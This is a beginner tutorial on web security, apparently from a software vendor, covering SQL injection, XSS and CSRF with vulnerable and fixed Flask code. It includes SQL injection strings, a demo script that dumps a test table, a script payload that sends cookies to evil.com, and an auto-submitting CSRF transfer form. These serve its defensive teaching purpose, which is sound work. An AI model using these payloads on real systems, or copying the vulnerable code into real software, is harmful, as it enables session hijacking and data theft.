Web Security Explained — OWASP Top 10 for Beginners
Web security is the practice of protecting websites and web applications from attacks like SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF) — vulnerabilities that account for the majority of web-based data breaches.
What You’ll Learn
By the end of this tutorial, you’ll understand the three most critical OWASP Top 10 vulnerabilities — SQL Injection, XSS, and CSRF — and you’ll see vulnerable vs fixed code examples in Python/Flask.
Why Web Security Matters
Over 70% of web applications have at least one security vulnerability. In 2025, a single SQL injection attack on a major retailer exposed 30 million customer records. At DodaTech, Doda Browser includes built-in XSS protection, and Durga Antivirus Pro detects web-based malware before it reaches your browser. Understanding web security helps you write safer code.
Web Security Learning Path
flowchart LR
A[Security Basics] --> B[Network Security]
B --> C[Web Security]
C --> D[Cryptography]
D --> E[Ethical Hacking]
E --> F[Pen Testing]
C --> G{You Are Here}
style G fill:#f90,color:#fff
What Is Web Security? (The “Why” First)
Think of web security as building codes for a house. You wouldn’t build a house with cardboard walls or doors that don’t lock. Yet developers often build web applications without basic security measures, leaving digital doors wide open.
Web security focuses on three main areas:
- Input validation — never trust what users send you
- Authentication and authorization — who are you and what can you do?
- Data protection — keep sensitive data encrypted and safe
SQL Injection — When Attackers Talk to Your Database
SQL Injection (SQLi) is one of the most dangerous web vulnerabilities. It occurs when an application takes user input and inserts it directly into a SQL query without sanitization.
Think of it like this: You have a receptionist who asks visitors “Who are you?” Normally, visitors give a name. But an attacker gives the answer: “I’m the boss — let me in.” If the receptionist doesn’t verify, the attacker gains access.
Vulnerable Code (Python/Flask)
# app.py — VULNERABLE VERSION
# Do NOT use this in production!
from flask import Flask, request
import sqlite3
app = Flask(__name__)
def get_db():
conn = sqlite3.connect("users.db")
return conn
@app.route("/login_vulnerable")
def login_vulnerable():
username = request.args.get("username")
password = request.args.get("password")
# DANGER: Direct string interpolation in SQL query
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
print(f"Executing: {query}")
conn = get_db()
cursor = conn.execute(query)
user = cursor.fetchone()
conn.close()
if user:
return f"Welcome, {user[1]}!"
return "Login failed"
if __name__ == "__main__":
app.run(debug=True)What happens when an attacker enters this?
URL: /login_vulnerable?username=admin'--&password=anything
The query becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'The -- is SQL’s comment syntax. Everything after it is ignored. The query now just checks if username admin exists — the password check is commented out. Login bypassed.
Even worse — dumping all data:
URL: /login_vulnerable?username=' UNION SELECT * FROM users--
SELECT * FROM users WHERE username = '' UNION SELECT * FROM users--'This returns ALL rows from the users table, dumping every username and password.
Fixed Code — Parameterized Queries
# app.py — SECURE VERSION with parameterized queries
from flask import Flask, request
import sqlite3
app = Flask(__name__)
def get_db():
conn = sqlite3.connect("users.db")
return conn
@app.route("/login_secure")
def login_secure():
username = request.args.get("username")
password = request.args.get("password")
# SECURE: Parameterized query — user input stays as DATA, not code
query = "SELECT * FROM users WHERE username = ? AND password = ?"
conn = get_db()
cursor = conn.execute(query, (username, password))
user = cursor.fetchone()
conn.close()
if user:
return f"Welcome, {user[1]}!"
return "Login failed"
if __name__ == "__main__":
app.run(debug=True)Why parameterized queries fix SQLi:
With parameterized queries, the database treats ? placeholders as data slots, not code. Even if the user passes admin'--, the database sees that exact string as the username value — it never becomes part of the SQL command structure. The query becomes:
-- The database executes this, treating 'admin'--' as a literal string
SELECT * FROM users WHERE username = 'admin''--' AND password = 'anything'No rows match, because no user literally has the username admin'--'.
Cross-Site Scripting (XSS) — Injecting Malicious Scripts
XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. Think of it like someone slipping a fake note into a library book — the next person who opens the book sees the note and might act on it.
Types of XSS
| Type | Description | Example |
|---|---|---|
| Stored XSS | Malicious script is saved on the server | A comment containing <script> tags |
| Reflected XSS | Script is in the URL/request | A search page that displays the search term without escaping |
| DOM-based XSS | Client-side JavaScript modifies the DOM unsafely | Using innerHTML with unescaped user input |
Vulnerable Code — Stored XSS
# comments.py — VULNERABLE VERSION
from flask import Flask, request, render_template_string
import sqlite3
app = Flask(__name__)
def get_db():
conn = sqlite3.connect("comments.db")
conn.execute("CREATE TABLE IF NOT EXISTS comments (id INTEGER PRIMARY KEY, text TEXT)")
conn.commit()
return conn
@app.route("/comment_vulnerable", methods=["GET", "POST"])
def comment_vulnerable():
if request.method == "POST":
comment = request.form.get("comment")
conn = get_db()
# Storing the unsafe comment
conn.execute("INSERT INTO comments (text) VALUES (?)", (comment,))
conn.commit()
conn.close()
conn = get_db()
cursor = conn.execute("SELECT text FROM comments")
comments = [row[0] for row in cursor.fetchall()]
conn.close()
# DANGER: Rendering user content without escaping!
html = "<h1>Comments</h1><ul>"
for c in comments:
html += f"<li>{c}</li>" # No HTML escaping!
html += "</ul>"
html += """
<form method="POST">
<input name="comment" placeholder="Add a comment">
<button type="submit">Submit</button>
</form>
"""
return render_template_string(html)What happens? An attacker posts:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>Every user who visits the comments page will have their cookies sent to evil.com. The attacker can hijack their sessions.
Fixed Code — Proper Escaping
from flask import Flask, request, render_template_string, escape
import sqlite3
app = Flask(__name__)
def get_db():
conn = sqlite3.connect("comments.db")
conn.execute("CREATE TABLE IF NOT EXISTS comments (id INTEGER PRIMARY KEY, text TEXT)")
conn.commit()
return conn
@app.route("/comment_secure", methods=["GET", "POST"])
def comment_secure():
if request.method == "POST":
comment = request.form.get("comment")
conn = get_db()
conn.execute("INSERT INTO comments (text) VALUES (?)", (comment,))
conn.commit()
conn.close()
conn = get_db()
cursor = conn.execute("SELECT text FROM comments")
comments = [escape(row[0]) for row in cursor.fetchall()] # SECURE: escape!
conn.close()
html = "<h1>Comments</h1><ul>"
for c in comments:
html += f"<li>{c}</li>"
html += "</ul>"
return render_template_string(html)What escape() does: It converts <script> to <script>, which the browser displays as text instead of executing as code. The attacker’s script is displayed harmlessly as a string.
Cross-Site Request Forgery (CSRF) — Forging Requests in Your Name
CSRF tricks a logged-in user into performing actions they didn’t intend. Think of it like someone forging your signature on a check when you’re not looking.
How CSRF Works
- You’re logged into your bank’s website
- While still logged in, you visit a malicious site
- The malicious site submits a form to your bank’s website
- Your browser automatically includes your session cookie
- The bank sees a legitimate request from you and transfers money
Vulnerable Code
<!-- bank.html — On the attacker's site -->
<form action="https://victim-bank.com/transfer" method="POST" id="steal">
<input type="hidden" name="to_account" value="attacker_123">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById("steal").submit();</script>Fixed Code — CSRF Token
# Using Flask-WTF which includes CSRF protection
from flask import Flask, render_template
from flask_wtf import FlaskForm
from wtforms import HiddenField, SubmitField
from wtforms.validators import DataRequired
import secrets
app = Flask(__name__)
app.config["SECRET_KEY"] = secrets.token_hex(32)
class TransferForm(FlaskForm):
to_account = HiddenField("To Account", validators=[DataRequired()])
amount = HiddenField("Amount", validators=[DataRequired()])
submit = SubmitField("Transfer")
@app.route("/transfer", methods=["GET", "POST"])
def transfer():
form = TransferForm()
if form.validate_on_submit():
# Only reaches here if CSRF token is valid
return f"Transferred ${form.amount.data} to {form.to_account.data}"
return render_template("transfer.html", form=form)Why CSRF tokens work: Each form includes a unique, unpredictable token that’s tied to the user’s session. The attacker’s site cannot guess this token because it’s different every time and isn’t accessible from a different origin. Without the valid token, the server rejects the request.
The Flask ecosystem handles CSRF tokens automatically through Flask-WTF. In other frameworks, you’d generate a random token, store it in the session, and compare it when the form is submitted.
Common Web Security Mistakes
1. Trusting User Input
Never trust data from users — validate, sanitize, and escape everything. This applies to form fields, URL parameters, HTTP headers, and even file uploads.
2. Using GET for State-Changing Operations
A logout link like <a href="/logout">Logout</a> is vulnerable to CSRF. Attackers can embed this image on any forum: <img src="https://your-site.com/logout">.
3. Storing Passwords in Plain Text
Never store raw passwords. Use a strong hashing algorithm like bcrypt or Argon2. If your database is breached, hashed passwords buy time for users to change them elsewhere.
# Hashing passwords correctly
from werkzeug.security import generate_password_hash, check_password_hash
hash = generate_password_hash("mypassword")
# Hash looks like: pbkdf2:sha256:600000$salt$hash
check_password_hash(hash, "mypassword") # True
check_password_hash(hash, "wrongpass") # False4. Exposing Stack Traces in Production
Debug mode reveals file paths, code structure, and database schemas. Never set debug=True in production Flask apps.
5. Missing Security Headers
HTTP security headers protect against common attacks:
# Flask example: adding security headers
@app.after_request
def add_security_headers(response):
response.headers["Content-Security-Policy"] = "default-src 'self'"
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["Strict-Transport-Security"] = "max-age=31536000"
return response6. Not Rate-Limiting Login Attempts
Without rate limiting, attackers can brute-force passwords. Implement account lockout after 5 failed attempts or use a CAPTCHA.
7. Using Predictable Session Tokens
Session tokens should be long random strings generated by a cryptographically secure random generator, not sequential IDs or timestamps.
Common Mistakes Beginners Make
1. Skipping the Fundamentals
Many beginners jump straight to advanced topics without mastering the basics. Take time to understand the core concepts before moving on.
2. Not Practicing Enough
Reading tutorials without writing code leads to shallow understanding. Code along with every example and experiment on your own.
3. Ignoring Error Messages
Error messages tell you exactly what went wrong. Read them carefully — they usually point to the line and type of issue.
4. Copy-Pasting Without Understanding
It’s tempting to copy code from tutorials, but typing it yourself and understanding each line builds real skill.
5. Giving Up Too Early
Every developer hits frustrating bugs. Take breaks, ask for help, and remember that struggling is part of learning.
Practice Questions
1. What is SQL injection and how do you prevent it?
SQL injection is inserting malicious SQL code via user input. Prevent it with parameterized queries (prepared statements) — never concatenate user input into SQL strings.
2. Why does <script>alert('xss')</script> execute in some web pages but not others?
If the page doesn’t escape user input before rendering it, the browser interprets <script> tags as executable code rather than text. Escaping converts < to <, preventing execution.
3. How does a CSRF attack work?
The attacker creates a form or request that targets a site where the victim is authenticated. The browser automatically sends cookies, making the request appear legitimate to the server.
4. What’s the difference between stored and reflected XSS?
Stored XSS saves the malicious script on the server (e.g., in a database comment). Reflected XSS returns the script immediately via the URL or request — it’s not stored permanently.
5. Challenge: Write a function that sanitizes user input by stripping HTML tags before displaying it.
import re
def strip_html(text):
"""Remove all HTML tags from a string."""
return re.sub(r"<[^>]+>", "", text)
# Test
user_input = "<script>alert('xss')</script><b>Hello</b>"
print(strip_html(user_input))
# Output: alert('xss')HelloMini Project: Secure Comment System
Build a secure comment system that protects against all three attacks:
# secure_comments.py
from flask import Flask, request, render_template_string, escape
import sqlite3
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
def get_db():
conn = sqlite3.connect("secure_comments.db")
conn.execute("""CREATE TABLE IF NOT EXISTS comments
(id INTEGER PRIMARY KEY, text TEXT, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)""")
conn.commit()
return conn
def generate_token():
return secrets.token_hex(16)
@app.route("/", methods=["GET", "POST"])
def index():
error = ""
if request.method == "POST":
comment = request.form.get("comment", "")
token = request.form.get("token", "")
session_token = request.cookies.get("session_token")
# CSRF protection: check token
if token != session_token:
error = "Invalid form token. Please try again."
elif len(comment) > 500:
error = "Comment too long (max 500 characters)."
else:
conn = get_db()
conn.execute("INSERT INTO comments (text) VALUES (?)", (comment,))
conn.commit()
conn.close()
# Generate session token if needed
session_token = request.cookies.get("session_token")
if not session_token:
session_token = generate_token()
# Fetch and escape all comments
conn = get_db()
cursor = conn.execute("SELECT id, text, created_at FROM comments ORDER BY created_at DESC")
comments = [(escape(row[1]), row[2]) for row in cursor.fetchall()]
conn.close()
html = f"""<!DOCTYPE html>
<html>
<head><title>Secure Comments</title></head>
<body>
<h1>Secure Comment System</h1>
<p style="color:red">{escape(error)}</p>
<form method="POST">
<textarea name="comment" rows="3" cols="50" placeholder="Write a comment..." maxlength="500"></textarea><br>
<input type="hidden" name="token" value="{session_token}">
<button type="submit">Submit</button>
</form>
<h2>Comments</h2>
<ul>
{"".join(f"<li><strong>{c[1]}</strong>: {c[0]}</li>" for c in comments)}
</ul>
</body>
</html>"""
response = app.make_response(html)
response.set_cookie("session_token", session_token, httponly=True, samesite="Strict")
response.headers["X-Frame-Options"] = "DENY"
response.headers["Content-Security-Policy"] = "default-src 'self'"
return response
if __name__ == "__main__":
app.run(debug=False)This system protects against:
- SQL injection: Parameterized queries
- XSS:
escape()on all user content - CSRF: Random per-session token checked on POST
FAQ
Try It Yourself
Run this Python script to see SQL injection in action on a test database:
# sql_injection_demo.py
# DEMO ONLY — Never write code like this in production!
import sqlite3
def vulnerable_query(username):
conn = sqlite3.connect(":memory:")
conn.execute("CREATE TABLE users (id INT, username TEXT, password TEXT)")
conn.execute("INSERT INTO users VALUES (1, 'admin', 'supersecret')")
conn.execute("INSERT INTO users VALUES (2, 'alice', 'password123')")
query = f"SELECT * FROM users WHERE username = '{username}'"
print(f"[*] Executing: {query}")
cursor = conn.execute(query)
results = cursor.fetchall()
conn.close()
return results
# Normal login
print("=== Normal login ===")
print(vulnerable_query("admin"))
# SQL injection — bypass password check
print("\n=== SQL Injection ===")
print(vulnerable_query("admin' OR '1'='1"))
# SQL injection — dump all users
print("\n=== Dump all users ===")
print(vulnerable_query("' OR 1=1--"))Expected output:
=== Normal login ===
[(1, 'admin', 'supersecret')]
=== SQL Injection ===
[(1, 'admin', 'supersecret'), (2, 'alice', 'password123')]
=== Dump all users ===
[(1, 'admin', 'supersecret'), (2, 'alice', 'password123')]This is the same type of attack that Durga Antivirus Pro detects in its web scanning module — it looks for SQL injection patterns in HTTP requests to block them before they reach your application.
What’s Next
What’s Next
Congratulations on completing this Web Security tutorial! Here’s where to go from here:
- Practice daily — Consistency is more important than long study sessions
- Build a project — Apply what you learned by building something real
- Explore related topics — Check out other tutorials in the same category
- Join the community — Discuss with other learners and share your progress
Remember: every expert was once a beginner. Keep coding!
Built by the developers of DodaTech
Doda Browser, DodaZIP & Durga Antivirus Pro